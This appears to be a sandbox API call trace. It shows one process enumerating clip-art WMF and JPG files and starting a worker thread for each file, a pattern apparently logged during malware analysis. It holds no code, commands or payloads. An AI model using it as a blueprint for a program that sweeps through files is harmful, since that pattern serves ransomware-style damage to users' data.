	[0224.875] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1
	[0224.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb6490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc
	[0224.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.878] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1
	[0224.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb9b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0
	[0224.881] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.882] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1
	[0224.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcbd250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4
	[0224.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.885] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1
	[0224.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc0930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8
	[0224.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.990] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1
	[0224.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc
	[0224.993] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.994] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1
	[0224.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad0
	[0224.997] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.998] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1
	[0224.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4
	[0225.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.002] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1
	[0225.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad8
	[0225.006] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.006] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1
	[0225.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1adc
	[0225.009] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.009] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1
	[0225.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae0
	[0225.012] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.012] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1
	[0225.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae4
	[0225.021] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.022] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1
	[0225.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae8
	[0225.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.025] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1
	[0225.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec
	[0225.027] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.028] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1
	[0225.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc4010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af0
	[0225.135] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.137] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1
	[0225.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4
	[0225.140] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1
	[0225.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc76f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8
	[0225.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.144] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1
	[0225.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fccadd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1afc
	[0225.147] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.148] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1
	[0225.148] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcce4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b00
	[0225.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.152] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1
	[0225.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd1b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b04
	[0225.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1
	[0225.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd5270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b08
	[0225.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.160] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1
	[0225.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd8950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0c
	[0225.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.164] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1
	[0225.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcdc030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b10
	[0225.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.601] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1
	[0225.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b40
	[0225.604] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.605] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1
	[0225.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b44
	[0225.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.688] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1
	[0225.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b48
	[0225.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1
	[0225.692] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4c
	[0225.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.695] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1
	[0225.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b50
	[0225.699] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
